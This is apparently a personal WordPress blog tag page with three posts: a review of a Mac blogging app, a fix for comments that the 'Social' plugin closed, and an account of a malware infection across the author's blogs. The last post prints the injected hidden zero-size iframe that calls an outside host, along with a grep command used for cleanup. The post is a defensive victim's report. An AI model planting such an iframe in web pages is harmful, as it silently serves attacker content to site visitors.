Tag Wordpress

Earlier today I was faced with the biggest challenge of “Holy crap I haven’t written blogs in a million years… why? Because I hate powering on my ancient Win7VM to launch Microsoft LiveWriter” and don’t get me wrong, I *LOVE* Microsoft LiveWriter, I’ve found that to be hands down one of the best and most favoritest blog writing apps of all time. I mean it’s free, it’s WYSIWYG and all that jazz.  But sometimes, just sometimes I don’t want to launch my VM … Or I run into a very weird bug in Windows (it’s not LiveWriter’s fault, it’s more Microsofty Faulty!) so I figured I’d see what other amazing apps are available.   There are lots of really good ones, some for high cost some for low cost in the world of Blog writing apps and after many great responses from friends in the Twitter and Facebook-o-sphere… I bring you…. The WordPress OSX App! Let’s see how this goes!

So far one thing I’m NOT a fan of, is the inability to just copy/paste images from Clipboard.  The image below was my test case there… I had taken a screengrab of it within the tool and I cannot simply “insert” I needed to save it out to a file. It’s by no means the WORST thing in the world, but it’s midly annoying for those of us who have a tendency to manipulate MANY data points at a time, including lots and lots of images.

It is nice that it maintains a “word” count in the bottom corner while I’m writing the blog post so I can get a gauge of how crazy town my writing is going in the words department.

It doesn’t seem to import the current / active theme like LiveWriter does so I can see what things look like as I do it (when you have a black/grey theme like I do, your entire presentation can look drastically different when it comes to publishing… I’ll see if there is a way around that.

It has an interesting “Featured Image” option on the side which I’m giving a try, and handling of Tags and Categories seems pretty straight forward.

All-in though, it seems interesting, I’ll continue trying some other tools to see if they can provide as good or better of a solution of Windows Live Writer, this certainly is leaps and bounds above the benefit of the ‘native’ WordPress editor so there’s that at least.

If you have some favorite WordPress editors (For Mac / OSX) definitely make it known! I have a list of things to look into including OneNote plugin, MarsEdit, UlyssesApp, Blogo, and to finish reading this post; Best Blogging Apps For Mac Users: 2016 Edition

Now the real test … Will this publish or will it error out with some weird RPC error :)

There you are, sitting there posting an absolutely awesome blog post which is getting a LOT of attention. OMG THE HITS JUST KEEP COMING IN! EVERYONE KEEPS SAYING HOW AWESOME IT IS. Yet no one is commenting on it on the blog. WTF is going on here!   So you take a moment to browse over to your blog post everyone is so enamored with only to find in the comments section.

And you start freaking out. WTF IS GOING ON HERE!?!? I DIDN’T CLOSE COMMENTS.   It’s strongly possible, that you didn’t.  But you can fix this.

When this happened to me just the other day I immediately started doing searches for “Wordpress Comments are closed” “Wordpress comments disabled” “disabled comments” and every other iteration of it, only to find… a whole REAM of absolutely useless and piece of crap posts and forum conversations which did NOT help.   A lot of them refer to checking the “Discussions” area in the control panel of wordpress… Yea, that doesn’t change over night.

But I also recall some time ago having made a change from using Twitter Tools to “Social” because they claimed the tools I PREFERRED were no longer supported or would function, so upgrades will need to be done.

Here is the kicker, if you are using Social by MailChimp that could be the cause of your problem, so next steps involve visiting your WordPress Control Panel

And you may come across this little gem:

Turns out that Social has integrated it’s own Comment Display system… which I’ve never seen and could give a damn for since it essentially BROKE my comments.   So by taking the next step and by checking the box….

All of a sudden my blog went from “Comments are closed.” to enabled and allowing people to COMMENT again! Hooray, right!

If you find this benefits or is useful to you, feel free to COMMENT and let me and everyone else know :)  Also if you do come across other solutions you wish to share in the comments, don’t hesitate to make it known!  Good luck and good commenting!

I received an email the other day that I was affected malware! (WTF?!) Thanks Zuzia for the heads up! As I didn’t notice it since I was offline for a bit! :)

I did a little searching on this and all I could find was this! Help With WordPress Vulnerability and the problem is more or less indicated by the presence of the following code in your html and php files!

<iframe src="https://m-analytics.net/qaqa/?daf02d89f0bb66c3b4a9ff31da01e10a" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

To tell you the truth, this is pretty damn annoying! I’m still trying to track down the cause because it only hit me here (at Bluehost) where I host 7 blogs (Yes all 7 were hit) however at my other hosting service (iPower) where I host 3 blogs, I was not affected.  So I blame Bluehost! :)

Some tips (if you have shell access) to fix this, is to:

grep m-ana * –r

Then go through one by one and clean up your fricking files (omfg this sucks!) but I don’t really have the time to write a script for it, nor the scripting skillz around that ;)

So, if you’ve been affected, clean it up! If you haven’t be, hooray!

Oh, and sorry for anyone annoyed by the ‘malware site’ message popping up when visiting any of my sites!